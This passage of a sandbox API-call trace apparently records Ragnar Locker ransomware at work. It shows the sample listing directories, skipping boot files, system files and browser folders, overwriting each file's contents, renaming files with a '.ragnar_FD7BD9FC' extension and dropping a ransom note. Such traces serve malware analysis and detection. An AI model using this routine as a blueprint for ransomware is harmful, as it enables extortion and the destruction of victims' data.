cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0075.313] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0075.313] lstrcpyW (in: lpString1=0x1eab70, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG" [0075.313] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned=".PNG" [0075.313] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0075.314] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="autorun.inf") returned 1 [0075.314] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="boot.ini") returned 1 [0075.314] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootfont.bin") returned 1 [0075.314] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootsect.bak") returned 1 [0075.314] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr") returned 1 [0075.314] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr.efi") returned 1 [0075.314] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgfw.efi") returned 1 [0075.314] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="desktop.ini") returned 1 [0075.314] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="iconcache.db") returned 1 [0075.314] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntldr") returned 1 [0075.314] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat") returned 1 [0075.314] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat.log") returned 1 [0075.314] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.ini") returned 1 [0075.314] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="thumbs.db") returned -1 [0075.314] lstrcmpiW (lpString1=".PNG", lpString2=".db") returned 1 [0075.314] lstrcmpiW (lpString1=".PNG", lpString2=".sys") returned -1 [0075.314] lstrcmpiW (lpString1=".PNG", lpString2=".dll") returned 1 [0075.314] lstrcmpiW (lpString1=".PNG", lpString2=".lnk") returned 1 [0075.314] lstrcmpiW (lpString1=".PNG", lpString2=".msi") returned 1 [0075.314] lstrcmpiW (lpString1=".PNG", lpString2=".drv") returned 1 [0075.314] lstrcmpiW (lpString1=".PNG", lpString2=".exe") returned 1 [0075.314] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png")) returned 0x20 [0075.314] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0075.314] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=16738) returned 1 [0075.314] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x4159, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.315] GetProcessHeap () returned 0x580000 [0075.315] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0075.315] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0075.320] VirtualAlloc (lpAddress=0x0, dwSize=0x4162, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0075.320] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.320] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0075.320] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4162, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x4162, lpOverlapped=0x0) returned 1 [0075.321] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0075.321] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4162, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.321] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4162, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x4162, lpOverlapped=0x0) returned 1 [0075.321] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4162, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.321] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0075.321] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x4162, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.322] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.322] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0075.322] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0075.322] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0075.322] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.322] GetProcessHeap () returned 0x580000 [0075.322] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0075.322] CloseHandle (hObject=0x100) returned 1 [0075.322] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" [0075.322] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.ragnar_FD7BD9FC" [0075.322] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0075.323] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4162, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0075.323] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0075.323] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUAD", cAlternateFileName="")) returned 1 [0075.323] lstrcmpiW (lpString1="QUAD", lpString2=".") returned 1 [0075.323] lstrcmpiW (lpString1="QUAD", lpString2="..") returned 1 [0075.323] lstrcmpiW (lpString1="QUAD", lpString2="Windows") returned -1 [0075.323] lstrcmpiW (lpString1="QUAD", lpString2="Windows.old") returned -1 [0075.323] lstrcmpiW (lpString1="QUAD", lpString2="Tor browser") returned -1 [0075.323] lstrcmpiW (lpString1="QUAD", lpString2="Internet Explorer") returned 1 [0075.323] lstrcmpiW (lpString1="QUAD", lpString2="Google") returned 1 [0075.323] lstrcmpiW (lpString1="QUAD", lpString2="Opera") returned 1 [0075.323] lstrcmpiW (lpString1="QUAD", lpString2="Opera Software") returned 1 [0075.323] lstrcmpiW (lpString1="QUAD", lpString2="Mozilla") returned 1 [0075.323] lstrcmpiW (lpString1="QUAD", lpString2="Mozilla Firefox") returned 1 [0075.323] lstrcmpiW (lpString1="QUAD", lpString2="$Recycle.Bin") returned 1 [0075.323] lstrcmpiW (lpString1="QUAD", lpString2="ProgramData") returned 1 [0075.323] lstrcmpiW (lpString1="QUAD", lpString2="All Users") returned 1 [0075.323] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0075.323] lstrcpyW (in: lpString1=0x1eb638, lpString2="QUAD" | out: lpString1="QUAD") returned="QUAD" [0075.323] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\" [0075.323] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\" [0075.323] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\RGNR_FD7BD9FC.txt" [0075.323] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0075.325] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\*.*" [0075.325] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0075.325] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0075.325] lstrcpyW (in: lpString1=0x1ea756, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0075.325] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7f228cc0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7f228cc0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0075.326] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0075.326] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7f228cc0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7f228cc0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.326] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0075.326] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0075.326] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x59f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0075.326] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".") returned 1 [0075.326] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="..") returned 1 [0075.326] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b366a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a8037d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b366a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbba7, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUAD.ELM", cAlternateFileName="")) returned 1 [0075.326] lstrcmpiW (lpString1="QUAD.ELM", lpString2=".") returned 1 [0075.326] lstrcmpiW (lpString1="QUAD.ELM", lpString2="..") returned 1 [0075.326] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUAD.INF", cAlternateFileName="")) returned 1 [0075.326] lstrcmpiW (lpString1="QUAD.INF", lpString2=".") returned 1 [0075.326] lstrcmpiW (lpString1="QUAD.INF", lpString2="..") returned 1 [0075.326] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f228cc0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7f228cc0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0075.326] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0075.326] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0075.326] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x90f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0075.326] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".") returned 1 [0075.326] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="..") returned 1 [0075.326] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x90f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0075.326] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0075.326] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7f228cc0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7f228cc0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0075.326] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7f228cc0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7f228cc0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.326] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x59f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0075.326] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0075.326] lstrcpyW (in: lpString1=0x1eab6a, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF" [0075.326] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned=".GIF" [0075.327] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0075.327] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="autorun.inf") returned 1 [0075.327] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="boot.ini") returned 1 [0075.327] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootfont.bin") returned 1 [0075.327] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootsect.bak") returned 1 [0075.327] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr") returned 1 [0075.327] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr.efi") returned 1 [0075.327] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgfw.efi") returned 1 [0075.327] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="desktop.ini") returned 1 [0075.327] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="iconcache.db") returned 1 [0075.327] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntldr") returned 1 [0075.327] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat") returned 1 [0075.327] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat.log") returned 1 [0075.327] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.ini") returned 1 [0075.327] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="thumbs.db") returned -1 [0075.327] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0075.327] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0075.327] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0075.327] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0075.327] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0075.327] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0075.327] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0075.327] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif")) returned 0x20 [0075.327] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0075.328] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1439) returned 1 [0075.328] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x596, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.328] GetProcessHeap () returned 0x580000 [0075.328] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0075.328] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0075.341] VirtualAlloc (lpAddress=0x0, dwSize=0x59f, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0075.341] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.341] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0075.341] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x59f, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x59f, lpOverlapped=0x0) returned 1 [0075.341] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0075.341] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x59f, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.341] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x59f, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x59f, lpOverlapped=0x0) returned 1 [0075.342] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x59f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.342] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0075.342] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x59f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.342] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.342] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, 